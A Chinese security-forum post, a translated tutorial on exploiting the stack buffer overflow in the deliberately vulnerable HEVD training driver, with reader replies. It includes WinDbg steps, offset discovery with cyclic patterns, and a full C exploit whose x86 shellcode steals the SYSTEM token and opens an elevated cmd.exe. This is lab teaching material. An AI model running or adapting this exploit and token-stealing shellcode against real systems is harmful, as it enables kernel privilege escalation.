看雪论坛
发新帖
1

[翻译]Windows内核驱动攻击(Pt. 2) - 通过栈溢出获取系统权限

wx_rd.cheung 2017-9-10 23:49 418
这篇文章里,我们将浏览一个简单的HEVD驱动漏洞 - 栈溢出。攻击代码将附在最后。
首先,我们把驱动.sys文件加载到IDA里看看它的结构。你将会很庆幸我们的驱动里编译时有符号表选项,这使得逆向简单得多!

逆向驱动


在driver最开始被加载时,DriverEntry函数是driver的入口。它做了许多事情,比如说,创建IO设备和设置驱动路径 -  \\Device\\HackSysExtremeVulnerableDriver。这个函数接着设置IRP(I/O 申请数据包)handler(我觉得中文翻译handle,handler太晦涩,具体可以看这个链接)- 这是我们最关心的部分。
函数 IrpDeviceIoCtlHandler 被分配给了 DriverObject MajorFunction 数列的第14个成员。这个函数包含一系列switch选项,这些选项将基于用户在应用程序代码中DeviceIoContrl调用时提供的IOCTL决定那个函数会被运行。

我们关心的函数是 StackOverflowIoctlHandler 的 handler。这个函数会在用户使用IOCTL数为 0x222003 调用DeviceIoControl 时处理用户的请求。

在调用 StackOverflowIoctlHandler 后,调用 TriggerStackOverflow 函数前,会有一些设置。

这其中包含以下代码:

你应该立刻就能发现这里应该有漏洞。因为这里有一个从 userBuffer 到 kernelBuffer (大小为2048 bytes)的 memcpy,并且这个size 大小是交由用户通过 userBufferSz 决定。
所以我们要怎么利用这个漏洞攻击呢?简单。 我们只需要提供比 kernelBuffer (大小为2048 bytes)更多的数据,然后再告诉 memcpy 我们的数据大小(这里我们的数据是多大就写多大)。驱动会 memcpy 我们的数据到驱动内核栈,并且傻傻的帮我们覆盖掉栈上的返回指针。
漏洞找到了,那我们开始真正的攻击吧!

攻击Handler


我们设置一个断点来看看攻击是怎么运行的吧。首先我们在WinDbg里运行命令 uf HEVD!TriggerStackOverflow 来得到现在 TriggerStackOverflow 函数在加载后的HEVD模块的地址。这个地址会随着每次开机而变化 - 因为 ASLR(一个通过每次开机时随机化系统library加载地址来防止攻击者使用系统library的机制,很老的一个想法,但会让攻击者稍微麻烦一点).
0: kd> uf HEVD!TriggerStackOverflow
HEVD!TriggerStackOverflow [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 65]:
   65 a11a462a 680c080000      push    80Ch
   65 a11a462f 68d8211aa1      push    offset HEVD!__safe_se_handler_table+0xc8 (a11a21d8)
[...]
   92 a11a46be 83c430          add     esp,30h
   94 a11a46c1 eb21            jmp     HEVD!TriggerStackOverflow+0xba (a11a46e4)

HEVD!TriggerStackOverflow+0xba [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 98]:
   98 a11a46e4 c745fcfeffffff  mov     dword ptr [ebp-4],0FFFFFFFEh
  100 a11a46eb 8bc7            mov     eax,edi
  101 a11a46ed e867c9ffff      call    HEVD!__SEH_epilog4 (a11a1059)
  101 a11a46f2 c20800          ret     8
现在我们想做的是找到找到最终ret函数相对于这个函数起始位置的位置。我们之所以要做这一步是因为我们想通过知道函数名字以及相对位置来找到我们想要的ret,这样我们就不用再考虑ASLR了。
0: kd> ? a11a46f2 - HEVD!TriggerStackOverflow
Evaluate expression: 200 = 000000c8
现在我们知道了ret相对于函数起始位置的位置是 0xc8。我们可以设置新断点:
0: kd> bu HEVD!TriggerStackOverflow+c8
现在我们通过输入 g 恢复被攻击虚拟机的运行,然后回到我们的被攻击虚拟机接着写我们的攻击代码!

攻击代码编写


为了与驱动通信,我们要给他写个handler。我们可以通过使用CreateFile打开物理驱动路径(在DriverEntry 函数中的DestinationString)。和平常一样,先查查看这个函数的文档来看看参数都是用来干嘛的。

接下来我们需要分配一个用于给驱动 memcpy 数据的缓存。我们可以使用 VirtualAlloc。我给了这个缓存一个page。(注意这里给缓存上设置了运行和写权限,因为内核最后会执行这个缓存上的shell code)。(shell code就是些2进制码,每个程序编译到最后都是二进制码,而计算机cpu能运行的其实到最后也就是二进制码。这个文章中的shellcode的用处就是提升当前进程的权限到系统权限)

现在我们先给这个缓存区放满A试试。
RtlFillMemory(uBuffer, PAGE_SIZE, 0x41);
最后我们想用 DeviceIOControl 调用到驱动,这样我们就能把缓存传给驱动来触发栈溢出!


运行攻击


现在把这些整合到一起,编译运行!

我们可以看到断点中断了系统。漏洞名什么的被打印了出来,这些是之前 TriggerStackOverflow 里做的事情。并且中断在了这个 TriggerStackOverflow 函数ret的那个点。我们可以看到 KernelBuffer Size 和 UserBuffer Size 都是我们想要的!是我们在 DeviceIoControl 调用里给的!
当然我们已经造成了系统损伤。通过 View->Memory 在WinDbg里打开栈。写入寄存器esp里的地址,我们可以看到驱动即将要回到的地址。

如果我们继续让进程运行,它将会崩溃,毕竟 0x41414141地址里没有东西。接下来我们就看看怎样把将回到的地址改到我们想要的地方。在这里用一个常用的小技巧, debruijn sequence。用pwntools(CTF里的一个常用工具)产生下面这个数列(这里你也可以自己写python script生成你喜欢的数列,Python挺好用的)。
In [1]: cyclic(0x864)
Out[1]: 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaaza...'
之后我们放这个数列到userBuffer里。
char myStr[] = "aaaabaaacaaada...avlaav"
RtlCopyMemory(uBuffer, myStr, 0x864);
这样再运行一遍攻击代码,我们就知道在数列的哪个位置是将回的地址。
In [2]: cyclic_find(0x75616175)
Out[2]: 2080
所以我们只要再前2080bytes里随便放点东西,然后放我们想这个进程接着运行的地址。接着我们在那个地址放Shell code就好啦。最后一步我们要得要系统权限的shell。

shell 取得系统权限 

我们只要知道当这段 shellcode 被内核运行时,将会使当前运行的进程提权至系统相同的权限。
如果我们用比win7更新的系统,将会有一个叫 SMEP/SMAP 的机制挡在我们面前。这个机制会禁止内核运行用户进程里的shellcode(通过page特征里的一个bit来来判断这个page属于用户还是系统)。为了绕过这个机制,我们需要把shellcode放到内核的栈里(memcpy),然后跳到那里。
但我们的win7并没有这个机制,所以虽然简单我就不麻烦写那一步了。我们就把shellcode放到userBuffer里,然后跳过去就完了。
成功以后,内核将会把当前进程提升到系统权限并从 DeviceIoControl 调用中回到当前进程。然后我们的cmd.exe就是可以干一切事情啦!

运行中。。。

拥有系统权限的shell!下面是最终的攻击代码:
#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
#include <stdint.h>

/*
    HEVD Windows Driver Exploit for the Stack Buffer Overflow
    Written by glem - have fun :)
*/

#define PAGE_SIZE      	4096
#define SHELLCODE_LEN   61
#define RET_OFFSET      2080
#define STACK_IOCTL     0x222003
#define DRIVER_PATH     "\\\\.\\HackSysExtremeVulnerableDriver"

void main() {
    /*
    HANDLE WINAPI CreateFile(
      _In_     LPCTSTR               lpFileName,
      _In_     DWORD                 dwDesiredAccess,
      _In_     DWORD                 dwShareMode,
      _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,
      _In_     DWORD                 dwCreationDisposition,
      _In_     DWORD                 dwFlagsAndAttributes,
      _In_opt_ HANDLE                hTemplateFile
    );
    */
    HANDLE device = CreateFileA(DRIVER_PATH,
                                GENERIC_READ | GENERIC_WRITE,
                                0,
                                NULL,
                                OPEN_EXISTING,
                                FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
                                NULL);
    if (device == INVALID_HANDLE_VALUE) {
        printf("[!] Error opening the driver\n");
        exit(1);
    }

    /*
    LPVOID WINAPI VirtualAlloc(
      _In_opt_ LPVOID lpAddress,
      _In_     SIZE_T dwSize,
      _In_     DWORD  flAllocationType,
      _In_     DWORD  flProtect
    );
    */
    LPVOID uBuffer = VirtualAlloc(NULL,
                                  PAGE_SIZE,
                                  MEM_COMMIT | MEM_RESERVE,
                                  PAGE_EXECUTE_READWRITE);
    if (!uBuffer) {
        printf("Error allocating the user buffer\n");
        exit(1);
    }

    printf("[~] uBuffer @ %p\n", uBuffer);

    /*
    VOID RtlCopyMemory(
      _Out_       VOID UNALIGNED *Destination,
      _In_  const VOID UNALIGNED *Source,
      _In_        SIZE_T         Length
    );
    */
    char shellcode[] =
        /* --- Setup --- */
        "\x60"                        // pushad
        "\x64\xA1\x24\x01\x00\x00"    // mov eax, fs:[KTHREAD_OFFSET]
        "\x8B\x40\x50"                // mov eax, [eax + EPROCESS_OFFSET]
        "\x89\xC1"                    // mov ecx, eax (Current _EPROCESS structure)
        "\x8B\x98\xF8\x00\x00\x00"    // mov ebx, [eax + TOKEN_OFFSET]
        /* --- Copy System token */
        "\xBA\x04\x00\x00\x00"        // mov edx, 4 (SYSTEM PID)
        "\x8B\x80\xB8\x00\x00\x00"    // mov eax, [eax + FLINK_OFFSET]
        "\x2D\xB8\x00\x00\x00"        // sub eax, FLINK_OFFSET
        "\x39\x90\xB4\x00\x00\x00"    // cmp [eax + PID_OFFSET], edx
        "\x75\xED"                    // jnz
        "\x8B\x90\xF8\x00\x00\x00"    // mov edx, [eax + TOKEN_OFFSET]
        "\x89\x91\xF8\x00\x00\x00"    // mov [ecx + TOKEN_OFFSET], edx
        /* --- Cleanup --- */
        "\x61"                        // popad
        "\x31\xC0"                    // NTSTATUS -> STATUS_SUCCESS
        "\x5D"                        // pop ebp
        "\xC2\x08\x00";               // ret 8
    RtlCopyMemory(uBuffer, shellcode, SHELLCODE_LEN);

    /* set return ptr to shellcode */
    uint32_t *ret_Addr = (uint32_t *) (uBuffer + RET_OFFSET);
    *ret_Addr = (uint32_t) uBuffer;

    printf("[~] retAddr offset @ %p\n", ret_Addr);

    /*
    BOOL WINAPI DeviceIoControl(
      _In_        HANDLE       hDevice,
      _In_        DWORD        dwIoControlCode,
      _In_opt_    LPVOID       lpInBuffer,
      _In_        DWORD        nInBufferSize,
      _Out_opt_   LPVOID       lpOutBuffer,
      _In_        DWORD        nOutBufferSize,
      _Out_opt_   LPDWORD      lpBytesReturned,
      _Inout_opt_ LPOVERLAPPED lpOverlapped
    );
    */
    DWORD bytesRet;
    BOOL bof = DeviceIoControl(device,          /* handler for open driver */
                               STACK_IOCTL,     /* IOCTL for the stack overflow */
                               uBuffer,         /* our user buffer with shellcode/retAddr */
                               RET_OFFSET+4,    /* want up to the offset + 4 (for the retAddr) sent */
                               NULL,            /* no buffer for the driver to write back to */
                               0,               /* above buffer of size 0 */
                               &bytesRet,       /* dump variable for byte returned */
                               NULL);           /* ignore overlap */

    /* check if the device IO sent fine! */
    if (!bof) {
        printf("[!] Error with DeviceIoControl\n");
        exit(1);
    } else {
        printf("[*] Success!! Enjoy your shell!\n");
    }

    /* pop a shell! */
    system("cmd.exe");
}

下一篇文章会介绍介绍shellcode。然后我们会进行更复杂的驱动攻击!






本主题帖已收到 0 次赞赏,累计¥0.00
最新回复 (6)
1
Lnju 2017-9-11 01:57
2
辛苦了
2
地狱怪客 2017-9-11 10:33
3
正是我想要的东西  开心  感谢!
2
地狱怪客 2017-9-11 10:43
4
第一个F5的代码框编辑一下吧
今天不吃面 2017-9-11 10:56
5
好文,支持
QuietBar 2017-9-11 14:34
6
学习学习
1
wx_rd.cheung 2017-9-11 20:48
7
地狱怪客 第一个F5的代码框编辑一下吧
嗯啊,好的,我把他改成了图片
可愛kpkp 2017-9-11 22:10
8
此楼层已删除
返回



©2000-2017 看雪学院 | Based on Xiuno BBS | 微信公众号:ikanxue
Time: 0.012, SQL: 9 / 京ICP备10040895号-17